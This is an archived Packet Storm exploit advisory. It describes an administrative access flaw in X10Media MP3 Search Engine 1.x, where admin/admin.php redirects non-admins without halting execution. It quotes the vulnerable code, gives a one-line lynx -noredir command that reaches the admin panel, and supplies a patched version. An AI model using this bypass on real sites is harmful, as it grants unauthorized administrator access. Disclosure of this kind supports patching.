what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

X10Media MP3 Search Engine Admin Access

X10Media MP3 Search Engine Admin Access
Posted Apr 14, 2009
Authored by THUNDER

X10Media MP3 Search Engine version 1.x suffer from an administrative access vulnerability.

tags | exploit, add administrator
SHA-256 | 466c9aafcf92b54456f5688668466be6b2ebbbe988080087469c1c3d9640befb

X10Media MP3 Search Engine Admin Access

Change Mirror Download
################# ~THUNDER ################################################################


~Product: X10media Mp3 Search Engine v1.x Admin Access Vulnerability
~Author : THUNDER <t4h[at]hotmail.fr>
~File : admin/admin.php

##### ~Vulnerable Code ############################################################################


/**

* User not an administrator, redirect to main page

* automatically.

*/

if(!$session->isAdmin()){

header("Location: ../main.php");

}

else{

/**

* Administrator is viewing page, so display all

* forms.

*/

}
----------------------------------------

if the user is not admin redirect it to main.php, so we can exploit it using lynx by disabling redirection.

##### ~Exploit ############################################################################

lynx -noredir https://www.vulnerable.com/admin/admin.php

allow the cookies, and you're in admin panel.


##### ~Solution ############################################################################

Open admin/admin.php
1- find:

/**

* User not an administrator, redirect to main page

* automatically.

*/

if(!$session->isAdmin()){

header("Location: ../main.php");

}

else{

/**

* Administrator is viewing page, so display all

* forms.

*/

}



2- Replace it with:

/**

* User not an administrator, show error 404

*/

if(!$session->isAdmin()){

die(header("HTTP/1.1 404 Not Found"));

}

###########################################################################################

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close